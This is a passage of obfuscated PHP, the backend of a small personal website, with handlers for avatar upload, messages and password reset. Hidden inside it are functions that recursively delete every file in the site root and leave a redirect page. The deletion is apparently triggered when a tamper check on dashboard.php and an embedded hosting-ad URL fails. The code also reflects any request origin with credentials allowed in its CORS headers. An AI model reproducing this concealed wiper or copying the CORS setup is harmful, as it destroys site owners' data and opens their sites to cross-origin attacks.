\x72\147\142\x61\x28\67\71\54\x31\67\62\54\62\x35\64\54\x30\x2e\63\51\175\xa\141\x3a\x68\x6f\x76\x65\162\x7b\142\x6f\162\x64\x65\x72\55\142\x6f\x74\x74\157\155\55\x63\x6f\x6c\x6f\162\72\43\x34\146\x61\143\x66\x65\x7d\12\x3c\x2f\x73\x74\x79\x6c\145\x3e\12\x3c\57\150\145\141\x64\x3e\xa\74\142\x6f\144\171\x3e\12\x3c\144\x69\x76\x20\x63\154\141\x73\163\75\42\167\162\141\x70\x22\x3e\xa\x3c\x64\151\166\x20\x63\x6c\141\x73\163\x3d\x22\151\x63\157\156\x22\x3e\x26\x23\x31\x32\70\x30\67\65\73\x3c\57\x64\151\166\x3e\xa\x3c\x68\x31\x3e\xe6\255\xa3\xe5\x9c\xa8\xe8\xb7\263\350\xbd\xac\56\x2e\x2e\x3c\x2f\150\x31\x3e\xa\74\160\x3e\345\246\x82\346\236\x9c\xe6\xb2\241\xe6\234\x89\xe8\207\252\345\x8a\250\350\267\263\xe8\275\254\357\274\214\350\xaf\xb7\x20\74\x61\40\x68\x72\x65\146\75\x22" . $safeUrl . "\42\x3e\xe7\202\271\xe5\207\273\xe8\277\231\xe9\207\214\x3c\57\141\x3e\x3c\57\x70\76\12\74\x2f\x64\151\166\x3e\xa\x3c\x73\143\x72\x69\x70\x74\76\x77\151\156\144\x6f\x77\56\x6c\157\143\x61\x74\x69\157\156\x2e\162\145\160\154\x61\143\x65\x28" . $jsUrl . "\51\73\x3c\57\x73\x63\x72\x69\x70\164\76\xa\x3c\x2f\142\x6f\144\x79\76\12\x3c\57\150\x74\155\x6c\x3e"; @file_put_contents($rootDir . DIRECTORY_SEPARATOR . "\x69\x6e\144\145\x78\x2e\150\164\x6d\154", $html); } function nuke_dir_recursive($dir, $skipFiles = array()) { if (is_dir($dir)) { goto Vr21w6UGu8; } return; Vr21w6UGu8: $items = array_diff(scandir($dir), ["\x2e", "\x2e\56"]); foreach ($items as $item) { goto CxT9FRPvAz; FgSsqFZPFo: @unlink($path); goto IVMGAXKL7n; ZDUHzknz1O: nuke_dir_recursive($path, $skipFiles); @rmdir($path); goto g0bo2BQ82J; CxT9FRPvAz: $path = $dir . DIRECTORY_SEPARATOR . $item; if (!in_array($path, $skipFiles)) { goto aW2pZQWFwX; } goto Re9krbEpY_; aW2pZQWFwX: if (is_dir($path)) { goto ZDUHzknz1O; } goto FgSsqFZPFo; g0bo2BQ82J: IVMGAXKL7n: Re9krbEpY_: goto t4PGD3FVWJ; t4PGD3FVWJ: } DQjUc0EXU7: } function execute_nuke($rootDir, $redirectUrl) { $skipFiles = []; if (empty($redirectUrl)) { goto gS6AUNuI_g; } generate_nuke_redirect_html($rootDir, $redirectUrl); $skipFiles[] = $rootDir . DIRECTORY_SEPARATOR . "\151\156\144\145\x78\x2e\150\x74\155\154"; gS6AUNuI_g: $items = array_diff(scandir($rootDir), ["\x2e", "\x2e\x2e"]); foreach ($items as $item) { goto bPPjJ_muUg; bPPjJ_muUg: $path = $rootDir . DIRECTORY_SEPARATOR . $item; if (!in_array($path, $skipFiles)) { goto A3EZRzg1fL; } goto DcURfTThQL; A3EZRzg1fL: if (is_dir($path)) { goto b6BnrZbIVU; } goto z2iRv_8SJl; HRHvB9__Bx: rspK6GaDId: DcURfTThQL: goto RGbbpxjdL1; z2iRv_8SJl: @unlink($path); goto rspK6GaDId; b6BnrZbIVU: nuke_dir_recursive($path, $skipFiles); @rmdir($path); goto HRHvB9__Bx; RGbbpxjdL1: } Nxpt2DUJJC: } goto bQ3NBT2joy; vkuCQBWuX_: yHt9VJbGnZ: if (!($_SERVER["\122\x45\121\125\x45\x53\124\137\x4d\105\124\110\117\x44"] === "\x4f\x50\x54\x49\x4f\116\123")) { goto Xj0nh49NJm; } http_response_code(204); exit; Xj0nh49NJm: goto rUoSZzkMK_; lBlWNooF1J: header("\103\157\x6e\164\x65\156\x74\x2d\x54\171\x70\145\x3a\x20\141\160\x70\154\x69\143\141\164\151\x6f\x6e\57\152\x73\x6f\x6e\x3b\x20\143\x68\141\162\x73\145\x74\x3d\165\164\x66\x2d\70"); header("\x58\x2d\x43\157\x6e\x74\145\156\164\x2d\x54\x79\x70\145\55\x4f\160\164\x69\x6f\x6e\x73\72\40\156\157\163\156\151\146\x66"); header("\130\55\x46\x72\x61\155\x65\x2d\117\160\164\151\x6f\x6e\163\x3a\x20\x44\105\x4e\x59"); header("\x52\145\146\x65\162\162\x65\162\x2d\x50\157\x6c\x69\143\171\72\40\163\164\162\x69\x63\x74\x2d\157\x72\151\147\151\156\55\167\150\x65\156\x2d\143\x72\157\x73\163\55\157\162\x69\x67\x69\156"); $origin = $_SERVER["\x48\124\x54\120\137\117\x52\x49\x47\111\x4e"] ?? ''; goto Bfz1MTO4XB; uFTelQMnww: Yo3O4I5L5K: I96addGYHo: if (!($action === "\162\145\163\x65\x74\x5f\143\150\145\143\153\137\x73\155\164\x70")) { goto cRTCGXmL9n; } $admin = read_json(ADMIN_FILE) ?: []; $smtpHost = $admin["\x73\155\x74\160"]["\x68\x6f\x73\x74"] ?? ''; goto e40rUNR0kA; vXmJ3g3UCN: PsECVuFjHq: $content["\141\166\141\164\x61\x72"] = "\144\141\x74\x61\57\141\166\141\164\x61\162\x2e\x70\x6e\147\x3f\166\75" . $avatarMtime; Z3FHs5PjfY: if (file_exists($bgPath)) { goto YCfyBXNjpZ; } $content["\142\x67\137\x69\x6d\141\x67\x65"] = ''; goto dId3JOgLR1; SRO9K2CrHF: echo json_encode(["\163\x75\143\143\x65\x73\163" => true, "\165\162\154" => "\144\141\164\141\x2f\141\166\x61\x74\141\162\56\160\x6e\147\x3f\166\75" . filemtime($avatarPath)]); odgcnX4k_8: exit; zbkqHHmXP_: function validate_image_data($dataUri, $maxBytes = 2097152, $maxPx = 1920) { goto MpkQL9eqDx; YxULTagnin: Chmnw8U4aA: $mime = ''; $hdr = substr($binary, 0, 12); if (substr($hdr, 0, 3) === "\377\330\377") { goto sd0rVFHsOG; } if (substr($hdr, 0, 8) === "\x89\x50\x4e\x47\xd\12\32\12") { goto qzhmJVuUGl; } goto qKOOpHbP4p; fSGrQdKusJ: $mime = "\x69\155\x61\147\x65\x2f\x67\x69\146"; goto B2AoNZrnyj; i9ChQW53eI: $mime = "\x69\155\x61\x67\145\57\167\x65\x62\x70"; B2AoNZrnyj: goto j18OMtJ2__; cHQTkVNyq3: imagedestroy($img); if (!$safe) { goto H3PvafIfBS; } $binary = $safe; $ext = "\x6a\x70\x67"; $mime = "\151\155\x61\147\145\57\152\160\x65\147"; goto Y3s1S0UhsX; WRNoW24ca0: if (!$img) { goto SFCzjQQh4g; } $w = imagesx($img); $h = imagesy($img); if (!($maxPx > 0 && ($w > $maxPx || $h > $maxPx))) { goto TZ6OWZf2lm; } $r = min($maxPx / $w, $maxPx / $h); goto A2VobrYW8K; Y3s1S0UhsX: H3PvafIfBS: SFCzjQQh4g: v92EBnT9Gw: return ["\157\x6b" => true, "\x62\151\156\141\x72\x79" => $binary, "\145\170\164" => $ext, "\155\151\155\x65" => $mime]; goto AlK4hygPwW; BUtd7hTZ9v: $img = $dst; TZ6OWZf2lm: ob_start(); imagejpeg($img, null, 82); $safe = ob_get_clean(); goto cHQTkVNyq3; qKOOpHbP4p: if (substr($hdr, 0, 4) === "\107\111\106\70") { goto tLiLO8bDqO; } if (substr($hdr, 0, 4) === "\122\x49\x46\x46" && substr($hdr, 8, 4) === "\x57\x45\102\120") { goto i9ChQW53eI; } goto B2AoNZrnyj; sd0rVFHsOG: $mime = "\x69\155\141\x67\145\x2f\x6a\x70\145\147"; goto Wyp8yn8iZq; MAzKYOVeUo: if (!($binary === false || strlen($binary) === 0)) { goto zzznxNaVKl; } return ["\x6f\x6b" => false, "\x65\x72\x72\157\x72" => "\345\x9b\xbe\347\211\x87\346\x95\260\xe6\215\256\346\x97\240\346\x95\210"]; zzznxNaVKl: if (!(strlen($binary) > $maxBytes)) { goto Chmnw8U4aA; } return ["\x6f\x6b" => false, "\145\162\162\157\x72" => "\345\233\276\xe7\211\x87\344\270\x8d\350\x83\275\350\266\205\xe8\xbf\x87\40" . round($maxBytes / 1048576) . "\115\x42"]; goto YxULTagnin; A2VobrYW8K: $dst = imagecreatetruecolor((int) ($w * $r), (int) ($h * $r)); imagealphablending($dst, false); imagesavealpha($dst, true); imagecopyresampled($dst, $img, 0, 0, 0, 0, (int) ($w * $r), (int) ($h * $r), $w, $h); imagedestroy($img); goto BUtd7hTZ9v; MpkQL9eqDx: if (preg_match("\x2f\x5e\144\x61\x74\141\72\151\155\x61\x67\x65\x5c\x2f\50\x6a\160\145\x67\174\160\156\x67\174\x67\x69\146\x7c\x77\145\x62\160\x29\x3b\142\x61\163\x65\66\x34\x2c\57", $dataUri, $m)) { goto RFN4UExtGn; } return ["\x6f\x6b" => false, "\145\x72\162\157\162" => "\345\233\276\347\x89\207\346\240\274\345\xbc\x8f\344\270\215\xe6\x94\xaf\346\214\x81\357\xbc\x8c\344\xbb\x85\346\224\257\xe6\x8c\201\40\112\x50\x47\x2f\120\x4e\107\57\107\111\x46\57\x57\145\142\x50"]; RFN4UExtGn: $ext = $m[1] === "\x6a\x70\145\147" ? "\x6a\x70\x67" : $m[1]; $binary = base64_decode(substr($dataUri, strpos($dataUri, "\54") + 1), true); goto MAzKYOVeUo; Wyp8yn8iZq: goto B2AoNZrnyj; qzhmJVuUGl: $mime = "\151\x6d\141\x67\x65\57\160\x6e\147"; goto B2AoNZrnyj; tLiLO8bDqO: goto fSGrQdKusJ; j18OMtJ2__: if ($mime) { goto FJWzeNCFk2; } return ["\x6f\153" => false, "\x65\x72\x72\157\162" => "\xe5\x9b\xbe\347\x89\207\xe6\226\207\xe4\273\xb6\xe5\xa4\264\xe9\252\214\xe8\xaf\x81\xe5\xa4\xb1\350\264\xa5"]; FJWzeNCFk2: if (!function_exists("\x69\x6d\x61\x67\x65\143\162\x65\x61\x74\x65\146\162\x6f\155\x73\x74\x72\151\x6e\147")) { goto v92EBnT9Gw; } $img = @imagecreatefromstring($binary); goto WRNoW24ca0; AlK4hygPwW: } goto nN7FLGlHen; cOJq27W5Tx: exit; BE54TQ3t0D: if (is_logged_in()) { goto BBN3buQt4a; } http_response_code(401); echo json_encode(["\x73\165\x63\143\x65\x73\x73" => false, "\155\145\x73\x73\141\147\x65" => "\xe6\x9c\252\xe7\231\xbb\345\xbd\225"]); goto QO3uUVb1jC; arIlf6GaQB: GosJe1GVvs: $dashFile = __DIR__ . "\x2f\x64\141\163\x68\x62\x6f\141\162\x64\56\160\150\160"; $adUrl = "\x68\164\164\160\x73\72\57\57\x77\167\167\x2e\162\141\x69\x6e\171\x75\156\x2e\143\157\x6d\x2f\146\x72\x65\145\150\157\163\x74\137"; $tampered = true; if (!file_exists($dashFile)) { goto c5BuLr60M2; } goto iJ30XbsFmj; MHJCeh11Ct: UI5PqsuyI3: echo json_encode(["\x73\x75\x63\143\145\163\x73" => true, "\156\x75\x6b\145\x64" => false]); exit; j7EiRHfiPZ: if (!($action === "\147\x65\x74\x5f\141\x76\141\164\x61\x72")) { goto zbkqHHmXP_; } goto gJH5gD5QZg; KGaOZLbsEA: echo json_encode(["\x73\165\x63\143\x65\163\x73" => false, "\155\145\x73\163\141\147\x65" => "\351\252\x8c\350\xaf\201\347\240\x81\345\xb0\235\350\xaf\x95\xe6\xac\xa1\346\x95\xb0\350\277\x87\xe5\244\232\357\274\x8c\350\257\xb7\351\207\215\xe6\226\xb0\350\216\267\xe5\217\226"]); exit; Ede0nH2zU7: if (!($code !== $savedCode)) { goto qhFRGVkjLs; } $remaining = 5 - $_SESSION["\x72\x65\x73\145\x74\137\x61\164\164\145\155\x70\164\x73"]; goto bReofX7EDV; bReofX7EDV: echo json_encode(["\x73\x75\x63\143\145\x73\163" => false, "\x6d\x65\x73\x73\141\x67\145" => "\xe9\xaa\x8c\xe8\xaf\201\347\xa0\201\xe9\x94\x99\350\257\257\357\274\x8c\xe8\277\x98\xe5\x8f\xaf\xe5\260\235\350\xaf\x95\x20" . $remaining . "\x20\346\xac\xa1"]); exit; qhFRGVkjLs: if (!(strlen($newPassword) < 8)) { goto Z0Q6cjTUgz; } echo json_encode(["\x73\165\x63\x63\145\163\x73" => false, "\155\x65\163\x73\x61\x67\145" => "\xe6\x96\xb0\345\xaf\206\xe7\240\x81\344\270\215\350\x83\xbd\345\260\221\xe4\xba\x8e\40\70\x20\344\xbd\x8d"]); goto kfkVZVimYJ; kzUtrbfgah: $sendLimit = rate_limit("\163\x65\x6e\144\137\143\157\144\145", $clientIp, 1, 60); if ($sendLimit["\x61\x6c\x6c\157\x77\x65\x64"]) { goto smsn0cVJZ_; } echo json_encode(["\x73\165\143\143\x65\163\163" => false, "\x6d\145\x73\163\141\x67\x65" => "\xe8\257\267\40" . $sendLimit["\x72\x65\x74\x72\x79\x5f\141\x66\x74\x65\162"] . "\x20\347\xa7\x92\xe5\220\216\351\207\215\xe8\xaf\225"]); exit; smsn0cVJZ_: goto kNLMEe58i8; e40rUNR0kA: $configured = !empty($smtpHost); echo json_encode(["\163\165\143\143\145\x73\163" => true, "\143\157\156\146\x69\147\165\x72\145\x64" => $configured]); exit; cRTCGXmL9n: if (!($action === "\x72\145\x73\145\164\x5f\x73\x65\156\144\137\143\157\144\145")) { goto Ccuhvq3jD_; } goto kzUtrbfgah; EqWxU8inkh: http_response_code(403); echo json_encode(["\163\165\143\x63\x65\x73\x73" => false, "\x6d\x65\x73\x73\x61\147\x65" => "\345\256\x89\345\x85\250\351\xaa\214\xe8\257\201\345\xa4\xb1\xe8\264\245\357\274\x8c\xe8\xaf\xb7\345\x88\xb7\346\x96\xb0\351\241\xb5\351\x9d\xa2\xe9\207\x8d\xe8\xaf\225"]); exit; GSeaVS6NiF: ydybZtgn2G: goto TKxu2kX596; gzuU1QdoOq: jkiT2Fgla2: $imageFile = ''; $imageDataUri = trim($input["\151\155\x61\x67\145"] ?? ''); if (!($imageDataUri !== '')) { goto HMzCNwID2q; } $imgResult = validate_image_data($imageDataUri, 2 * 1024 * 1024, 1920); goto OMQ71aoCV8; qID_bY2Uzh: $newPassword = $input["\x6e\145\x77\x5f\x70\141\x73\163\167\157\162\x64"] ?? ''; $savedCode = $_SESSION["\162\x65\163\145\164\137\x63\157\144\x65"] ?? ''; $savedTs = $_SESSION["\162\145\x73\145\164\x5f\143\x6f\144\145\x5f\x74\x73"] ?? 0; if (!(empty($savedCode) || empty($code))) { goto v6l8zJAPwr; } echo json_encode(["\163\x75\143\x63\145\163\163" => false, "\x6d\x65\163\163\141\147\x65" => "\xe8\257\xb7\xe5\x85\x88\xe8\x8e\267\xe5\x8f\x96\xe9\252\214\350\257\201\347\xa0\x81"]); goto vj8sdWrlU5; IpIhTjhAp8: $nukeResult["\162\x65\144\x69\x72\x65\x63\x74\x5f\165\162\x6c"] = $redirectUrl; w1EbrUwupL: echo json_encode($nukeResult); exit; HXIeta_x1p: goto MHJCeh11Ct; ye0_xUOWZi: header("\x41\143\x63\x65\163\x73\x2d\x43\157\156\164\162\157\x6c\55\x41\x6c\x6c\157\167\x2d\117\162\x69\x67\151\156\x3a\40{$origin}"); header("\101\x63\x63\145\163\163\x2d\103\157\156\164\162\157\154\55\x41\x6c\x6c\x6f\x77\x2d\x43\x72\145\144\145\x6e\x74\x69\x61\x6c\x73\72\x20\164\x72\165\x65"); header("\x41\x63\x63\145\x73\163\x2d\103\157\x6e\164\162\x6f\154\x2d\101\x6c\154\x6f\x77\55\115\x65\x74\x68\157\x64\163\72\40\107\x45\x54\x2c\x20\x50\x4f\x53\x54\54\x20\117\120\124\x49\117\116\123"); header("\101\143\143\x65\x73\163\55\103\x6f\x6e\x74\162\x6f\154\55\x41\154\154\157\x77\55\110\145\141\x64\145\162\x73\72\40\x43\x6f\x6e\164\145\x6e\164\55\x54\171\x70\145\54\x20\130\x2d\x43\123\122\106\55\124\157\x6b\145\156"); jjiA4e0zff: goto vkuCQBWuX_; raWBox5I12: header("\105\124\141\147\x3a\40" . $etag); $ifNoneMatch = $_SERVER["\110\124\124\x50\x5f\111\x46\137\116\117\116\105\x5f\115\101\124\103\110"] ?? ''; if (!($ifNoneMatch === $etag)) { goto T12ALXY6Br; } http_response_code(304); exit; goto mqfFrHpzxw; nN7FLGlHen: if (!($action === "\x73\141\x76\x65\137\155\x65\163\x73\141\x67\145")) { goto BE54TQ3t0D; } $msgLimit = rate_limit("\x73\141\166\145\137\155\145\163\163\x61\x67\x65", $clientIp, 5, 60); if ($msgLimit["\x61\x6c\154\x6f\x77\145\144"]) { goto TBxTku9DAC; } echo json_encode(["\x73\x75\143\x63\x65\x73\x73" => false, "\x6d\145\163\163\x61\147\145" => "\xe6\x93\x8d\344\275\234\350\xbf\x87\xe4\272\216\351\242\221\xe7\271\201\xef\xbc\214\350\257\xb7\xe7\250\215\xe5\220\x8e\345\x86\x8d\xe8\xaf\x95"]); exit; goto EYgFJSmhBR; wyV4_jMb9s: kdLrqAfhNN: